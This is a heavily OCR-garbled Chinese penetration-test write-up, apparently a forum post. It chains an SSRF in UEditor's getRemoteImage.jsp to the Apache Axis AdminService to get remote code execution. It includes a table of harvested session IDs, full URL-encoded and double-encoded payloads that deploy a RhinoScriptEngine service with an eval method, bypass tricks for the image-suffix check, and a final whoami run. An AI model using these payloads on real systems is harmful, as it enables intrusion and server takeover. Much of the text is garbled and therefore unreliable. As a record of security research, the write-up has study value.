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step1
IRNRIEE &L T E R RIIEE:

1. /manage/index.jsp B 1%%|2EHK T FTE HABIA sessionID .
BT session. BATREBEHRITELR session AEE A THRIAI seesionlD Bl
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Session ID CRPE | AR BRI ERNE | FEIE
E-BB771‘ J)50R358F m D50A18E Kkl 22 2021-05-10 09:28:45 ' 2021-05-10 14:20:54  4:52:09.062 ' 0:00:04.02
AE mD3B/ mmD71 mRESI )25B(mmb el 4 2021-05-09 07:56:29  2021-05-10 14:18:05  30:21:35.386  0:02:53.39
Bl my6E4A! mmmm\B meCLOn - 185F4m JXE Kh 05 2021-05-10 13:56:39 ' 2021-05-10 13:57:18 | 0:00:39.082 ' 0:23:39.62
D JA2F B :E/m 6" EE~4A08 W1 jrf 2021-05-10 07:32:51 | 2021-05-10 14:20:24  6:47:33.348  0:00:33.70
C 3A9 P [ W W : MIBB2FME 5D Kir 06 2021-05-10 12:08:56 ' 2021-05-10 14:18:36 | 2:09:40.292  0:02:21.54
(HOEm 7"2( " HEE 8! W30 m zyl 2021-05-10 13:13:08 ' 2021-05-10 14:05:02 0:51:54.393  0:15:55.86!
/W EP25E BN B E/E m | B klr 37 2021-05-10 14:00:41 ' 2021-05-10 14:20:44 0:20:03.465  0:00:13.50!
(M WeOA’/HEE ME W AN E m E FEE MEFE  2021-05-10 13:04:33 | 2021-05-10 14:14:34  1:10:01.197 0:06:23.97
W BOCBSF HEEEEE B H A yal 2021-05-10 12:27:41  2021-05-10 14:19:09  1:51:27.902 0:01:48.61«
H Em4A41 A . ] kim 4 2021-05-10 09:21:33 | 2021-05-10 14:20:01  4:58:27.162  0:00:57.43
H BN NEEBAE EEEE V/EEE BB kim 3 2021-05-10 13:54:05 ' 2021-05-10 14:19:09  0:25:04.000 ' 0:01:48.51¢
[ B375"H" I KFEE B95C kim 15 2021-05-10 07:04:46 ' 2021-05-10 14:16:01 | 7:11:14.747 0:04:56.85
F68 M F49BME 3@ H EE 3652 yefl 2021-05-10 07:55:38 ' 2021-05-10 14:16:10 | 6:20:31.834  0:04:47.85
AF1EE oD5H H 3 H  NEENIF23 kil )3 2021-05-10 13:40:52 ' 2021-05-10 14:20:54  0:40:02.659 @ 0:00:03.59
BES R5a @ B PE '€ 50A92 | dflm 2 2021-05-10 09:10:08 ' 2021-05-10 14:20:09 5:10:01.431 0:00:48.68
EBE ' HE H ;0/EE "BME  T00570 zy W 2021-05-10 07:26:22 ' 2021-05-10 14:02:32  6:36:10.223  0:18:26.14«
OE2. M C3F309F291" M D3(r22749 J@ 2 2021-05-10 07:31:42 | 2021-05-10 14:11:47  6:40:04.983  0:09:10.60i

TR, RAZAP, BAIRUREZRERPRA T, 71 72BK],
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2. HEFEEIDAE PR /mobile/phone/main.jsp 2 FALIFAYETIE

B —EE R RAI T,

EREE
- FEE B E ER  gmrsfSssis: Eil
o 28 SWiCR® 500 B 1 /OA IR
o RO%
BRI
) e FRER BESR e =5

HEEERAERIZER RCE BIR.

step?2

1R T —"1 AXIS ARSS.
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And now... Some Services

- 0
. [ |
[
] - I NN B
o eval
o eval
e AdminService (wsdl)
o AdminService
e Version (wsdl)

o q.etVersion

o eval
o eval

axis<=1.4 hiiA&fF7E RCE, ZER T payload 31— F, 2ILEIMY

remote user access is not allowed.

TRl REEE— SSRF, ZiEBEIA],
7iny ZEHE|— DA, /common/ueditorl_3_5-utf8/ &I— ueditor
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% — M @

BEXE - BEER - T
o fmiEE - @ = B 3

.
E =

B I U A s X' X

TTRBRE:

[eminminns | Eng | Sanz | enns | [ wemss || pewnsnases || ARRsens | | eeuswess | [ new AEsgmness [ ne

| mmummws || B aEnns || auss || FosE || pEsEs || BReEES || QRSSO0

T
/common/ueditorl_3_5-utf8/jsp/getRemoteImage.jsp?upfile=

X PREERR /A — T SSRF,
£ AXIS B9 get B! payload E1d— T, &ULEFEEAIEH,

{url'null',tip"' B/ ZEBIARIER! 'srcUr""}

step3
FEZ AXIS, B getRemoteImage.jsp AYJRAD, AHFEZE—TIFERE debug, FF 2

debug f&2x{, ./catalina.sh jpda start
— 1 jpg. FAIE URL EEEN. jpg &E. BRlE:

F—xE (5EE—T):

KXx=xX inCl
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—vvs vy g

http://127.0.0.1:8080/axis/services/AdminService?method=!--
%3E%3Cdeployment%20x mlns%3D%22http%3A%2F%2Fx
ml.apache.org%2Faxis%2Fwsdd%2F%22%20x mlns%3Ajava%3D%22http%3A%2F%2Fx
ml.apache.org¥%2Faxis%2Fwsdd%2Fproviders%2F java%22%3E%3Cservice%20name%3D%22Ser
viceFactoryService¥%22%2@provider%3D%22java%3ARP(%22%3E%3Cparameter%2@name%3D%2
2className%22%2@value%3D%220rg.apache.axis.client.ServiceFactory%22%2F%3E%3Cpa
rameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%
3C%2Fdeployment&xx=xx. jpg

RINEZH ban, BERTEFEEARER, TR,

B xs:

E— | remote jsp RIS, RBEE, mMEniE Me— B A, fOEHE S
0, FABEAMTEARZN .gif", “png”, “jpg” ., “Jpeg” . “bmp’ XLELERE, MR
EEAENERIIRE.

public String getFileType(String fileName){
Sitedng[INfilleRypel =N qa FU U g U U pg U pe g S U hmp i )=
Iterator<String> type = Arrays.aslList(fileType).iterator();
while(type.hasNext()){
String t = type.next();
if(fileName.endsWith(t)){
return t;

i

return "";

HttpURLConnection.setFollowRedirects(false);
HttpURLConnection conn = (HttpURLConnection) new URL([i]).openConnection();
if(conn.getContentType().index0f("image")==-1){
state = "iEKBhESLARIER",;
continvue;
}
if(conn.getResponseCode() != 200){
state = "{ERHBLEARTFEE! ",
continue;
}
File dir = new File(savePath);
if (!dir.exists()) {
dir.mkdirs();
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WAESW—TF, BEEE— jpg. E— FENEEL BRI ER", X1
BA ARG R

http://127.0.0.1:8080/axis/services/AdminService?method=!--
%3E%3Cdeployment%20x mlns%3D%22http%3A%2F%2Fx
ml.apache.org%2Faxis%2Fwsdd%2F%22%20x mlns%3Ajava%3D%22http%3A%2F%2Fx
ml.apache.org¥%2Faxis%2Fwsdd%2Fproviders%2F java%22%3E%3Cservice%20name%3D%22Ser
viceFactoryService¥%22%2@provider%3D%22java%3ARP(%22%3E%3Cparameter%2@name%3D%2
2className%22%2@value¥%3D¥%22o0rg.apache.axis.client.ServiceFactory%22%2F%3E%3Cpa
rameter¥%2@name%3D%22allowedMethods¥%22%20value¥%3D%22*%22%2F%3E%3C%2Fservice%3E%
3C%2Fdeployment. jpg

W 10CaINOST:BUBU/remote.jSp7UpTIIe=NTIp://1Z/.V.V. 1:5UBU/axIs/Services/Aaminservicermetnoa=!--><aepioyment7ZUXmIns % 3L " NP7 SA % ZH 7o ZFXMI.apacne.org%zraxi

B AR Bjeve B mE B #E @ SOLFidde BD R2FE B AMEAR () GitHub: Where th O GitHub XM [ SR¥ARWB _Goo.. [F) PythonFE—18 Find-Sec-Bug:

TTP Status 500 - java.lang.NullPointerException

T2 Exception report

TSI The server encountered an internal error that prevented it from fulfiling this request.

bxception

1rg.apache. jasper.JasperException: java.lang.NullPointerException
org.apache. jasper.servlet.JspSer handl ion(JspServl .java:502
org.apache. jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:430)
org.apache. jasper.servlet.JspServlet.serviceJspPile(JspServlet. java:313)

org.apache. jasper.servlet.JspServlet.service(JspServlet.java:260)
javax.servlet.http.HttpServlet.service(HttpServlet.java:723)

ot causd

|ava.lang.NullPointerException
org.apache. jsp.remote_jsp._jspService(remote_jsp.java:100)
org.apache. jasper . runtime.HttpJspBase.service (HttpJspBase. java:70)

javax.servlet.http. let.service(HttpServlet.java:723)

org.apache. jasper.servlet.JspServletirapper.service(JspServletWrapper.java:388)
org.apache. jasper.servlet.JspServlet.serviceJspFile(JspServlet. java:313)
org.apache. jasper.servlet.JspServlet.service(JspServlet.java:260)
javax.servlet.http.HttpServlet.service(HttpServlet.java:723)

LS The fy

pache Tomcat/6.0.45

REVEANEIHINGR, MER 7 — 1 =8tt, $X L, & remote.jsp I
BEAZBTIETRL®E, IMRESERBLRL, BARER—RMEE2B N
BIENFREHINE B IEENIER.,

HERIE %20, AeEBTHE, BENRERAE x ml HBIVRVEUE, EEAOTEAE
MFRNDE, BANEETE, BBMEEZMARIT %0d%0a, HWIlEEEH
o

\EEI
=

http://localhost:8080/remote. jsp?
upfile=http://127.0.0.1:8080/axis/services/AdminService?method=!--
%3E%3Cdeploymenta%@d¥%@axxx

EIAETiEsH, FEEHETIEE, BB %0d aJLA, %0a T, EA2ENEES
ER x ml 9D PRI IR A&

N7 dPaUl A | wF NIUD A | @ OWayl A | @ OWAY A | FA APAU A | & APAU A g WGal A T Mdna A | RE =X
@ localhost:8080/remote.jsp?upfile=http://127.0.0.1:8080/axis/services/AdminService?method=!--><deploymenta%0dxxx

v java R % @ SaL Fiddle REFR AYEFE ) GitHub: Where th... @ GitHub XMiE R SRFRBEL G

{'url:'null', tip": & Rt LR TERR','srcUrl": 'http://127.0.0.1:8080/ axis/services/AdminService?method=!-->
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F= R

Has I B R NERERNESR, £ get R payload 1, RINFFABE—Tl—>,
debug — FIREICASLL, RIMEBRN TH—1Ha

l-—><deployment

xmins="http://xml.apache.org/axis/wsdd/"
xmins:java="http://xml.apache.org/axis/wsdd/providers/java"><service
name="RhinoScriptEngineService1288"
provider="java:RPC"><parameter

name="className"

value="com.sun.Script.javaScript.RhinoScriptEngine"

(AELUN

private void invokeEndpointFromGet(MessageContext msgContext, HttpServletResponse response, PrintWriter writer, St
[ String body = "<" + method + ">" + args + "</" + method + ">";
String msgtxt = "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"><SOAP-ENV:Bod
ByteArrayInputStream istream = new ByteArrayInputStream(msgtxt.getBytes());
Message responseMsg = null;

try {
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<l—
<deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns: java="http://xml.apache.org/axis/wsdd/providers/java">
<service
name="RhinoScriptEngineServicel299"
provider="java:RPC">
<parameter
name="className"
value="com.sun.Script. javaScript.RhinoScriptEngine"
/>
<parameter
name="allowedMethods"
value="eval"
>
<typeMapping
deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
type="java:javax.Script.SimpleScriptContext"
gname="ns:SimpleScriptContext"
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
xmlns:ns="urn:beanservice"
regenerateElement=""false">
</typeMapping>
</service>
</dep 1oymen
<deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service
name="RhinoScriptEngineServicel299"
provider="java:RPC">
<parameter
name="className"
value="com.sun.Script.javaScript.RhinoScriptEngine"
/>
<parameter
name="allowedMethods"
value="eval"
/>
<typeMapping
deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
type="java:javax.Script.SimpleScriptContext"
gname="ns:SimpleScriptContext"
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
xmlns:ns="urn:beanservice"
regenerateElement="false">
</typeMapping>
</service>
</deploymen>

NITFIBE— payload J£%, B MEN., IEBNIRFTEMIET ., EE=2H
ERAT <xxx.jpg></xxx.ipg BIFA], HALEEN > LB E, NIFLL. jpg
5, PLAFTAY payload @01

FIMFRBETLEIN L ><xx.jpg></xx.jpg  ElFJ

https://forum.butian.net/share/136 9/14



2021/5/19 il P R A A 7 5 2 iy SSRE Zaxis FRCEZ ik

<deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java'>
<service
name="RhinoScriptEngineService1299"
provider="java:RPC">
<parameter
name="className"
value="com.sun.Script.javaScript.RhinoScriptEngine"
/>
<parameter
name="allowedMethods"
value="eval"
/>
<typeMapping
deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
type="java:javax.Script.SimpleScriptContext"
gname="ns:SimpleScriptContext"
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
xmlns:ns="urn:beanservice"
regenerateElement="false">
</typeMapping>
</service>

<dep loyment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">

- - -<service

name="RhinoScriptEngineServicel1299"

provider="java:RPC">

-------- <parameter

name="className"

value="com.sun.Script.javaScript.RhinoScriptEngine"

/>

-------- <parameter

name="allowedMethods"

value="eval"

/>

-------- <typeMapping

deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory

type="java:javax.Script.SimpleScriptContext"

gname=""ns:SimpleScriptContext"

serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"

xmlns:ns="urn:beanservice"

regenerateElement="false">

........ </typeMapping>

= - </service>

</deploymen>

<XX.]pg></XX.jpg>

P %0d, DARBAIHHEEN xx.jpg payload 23T, debug F4&I %0d FHIZR
mET
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http://localhost:8080/remote. jsp?
upfile=http://localhost:8080/axis/services/AdminService?method=!--
%3E%3Cdeployment%@dx mlns%3D%22http%3A%2F%2Fx
ml.apache.org%2Faxis%2Fwsdd%2F%22%0dx mlns%3Ajava%3D%22http%3A%2F%2Fx
ml.apache.org¥%2Faxis%2Fwsdd%2Fproviders%2F java%22%3E%3Cservice%ddname%3D%22mo0
gege%22%adprovider%3D%22java%3ARPC%22%3E%3Cparameter¥@dname¥%3D%22className%22%
@dvalue%3D%22com.sun.s cript.j avas cript.Rhinos
criptEngine%22%0d%2F%3E%3Cparameter¥@dname%3D%22allowedMethods%22%@dvalue%3D%2
2e
val%22%0d%2F%3E%3CtypeMappingX¥@ddeserializer%3D%22org.apache.axis.encoding.ser
.BeanDeserializerFactory%22%0dtype%3D%22java%3Ajavax.s cript.Simples
criptContext%22%0dgname¥%3D%22ns%3ASimples
criptContext¥%22%@dserializer%3D%22org.apache.axis.encoding.ser.BeanSerializerF
actory%22%@dx
mlns%3Ans%3D%22urn¥%3Abeanservice%22%@dregenerateElement%3D%22fal se%22%3E%3C%2F
typeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment%3E%3Cxx . jpg%h3ER3C/xX. jpg

1518]
PrriavdiLe vUlu LINVUKECNUpuULnwrruomoeLriessdyeculiiLtexte nsyvuliiLe
([~ String body = "<" + method + ">" + args + "</" + metho
“ String msgtxt = "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"h
ByteArrayInputStream istream = new ByteArrayInputStreal
Message responseMsg = null;
try {
AxisServer engine = (AxisServer)msgContext.getProp
Message msg = new Message(istream, bodyInStream: fal
msgContext.setRequestMessage(msg);
engine.invoke(msgContext);
responseMsg = msgContext.getResponseMessage();
response.setHeader("Cache-Control", "no-cache");
response.setHeader("Pragma", "no-cache");
if (responseMsg == null) {
throw new Exception(Messages.getMessage( key: "
b
Variables
- J Y + this = {QSMethodHandler@3061}
P msgContext = {MessageContext@3062}
P response = {ResponseFacade @3063}
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P writer = {FilterPrintWriter@3064}

P method = "!--><deployment"
P args =""
body = "<!--><deployment></!--><deployment>"
(s,0]
EOIR= -
VEN??

SERN—5), i—F urlencode WEZHHS, FINT .

http://localhost:8080/remote. jsp?
upfile=http://127.0.0.1:8080/axis/services/AdminService?method=!--
%253E%253Cdeployment%250dx mlns%253D%2522http%253A%252F%252Fx
ml.apache.org%252Faxis%252Fwsdd%252F%2522%250dx
mlns%253Ajava%253D%2522http%253A%252F%252Fx
ml.apache.org%252Faxis%252Fwsdd%252Fproviders¥%252F java%2522%253E%253CserviceX2
50dname%253D%2522mxxgege%2522%25@0dprovider%253D%2522java%253ARP(%2522%253E%253
Cparameter¥%$250dname%253D%2522className%2522%250dvalue%253D%2522com.sun. s
cript.j avas cript.Rhinos
criptEngine%2522%250d%252F%253E%253Cparameter%250dname%253D%2522allowedMethods
%2522%250dvalue¥%253D%2522¢
val%2522%250d%252F%253E%253CtypeMapping%250ddeserializer%253D%25220rg.apache.a
xis.encoding.ser.BeanDeserializerFactory%2522%250dtype%253D%2522java%253Ajavax
.s cript.Simples criptContext%2522%250dgname%253D%2522ns%253ASimples
criptContext¥%$2522%250@0dserializer%253D%25220rg.apache.axis.encoding.ser.BeanSer
ializerFactory%2522%250dx
mlns%253Ans%253D%2522urn%253Abeanservice%2522%250dregenerateElement%253D%2522f
alse%2522%253E%253C%252FtypeMapping%253E%253C%252Fservice%253E%253(C%252Fdeploy
ment%253E%253Cxx . jpg%253E%253C%2Fxx. jpg

RINT, HILT FAFRERROZUR

A FRL | emoo.oo... e me ar ‘weditarl_3_5-utf8/jsp/getRemotelmage.jsp?upfile=http://127.(

HuA Bjave BB MM B3 BE @ SaLFidde B Re2FR BB AMEAR () GitHub: Whereth.. € GitHub X4

{'url:'null','tip":' BRIt L AR IERR', 'srcUrl":'http://127.0.0.1:8888/services/AdminService?method=!——
% 3E%3Cdeployment%0dxmIns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F %22 %0«
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PRI EM AR SS

\nd now... Some Services

e mxxgege (wsdl)
o eval
o pvAal
- mEE EHy )
o eval
o eval
o AdminService (wsdl)
o AdminService
o Version (wsdl)
o qetVersion
0 eval-}
o eval

FARXRSE:
EN, BRI EMNIRSEIR . H4T whoami,

-
Iggﬂ
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WSXNRER PER CTF ki, #HESEN—NFE, X8R, Jpg 5.
%20 bR,
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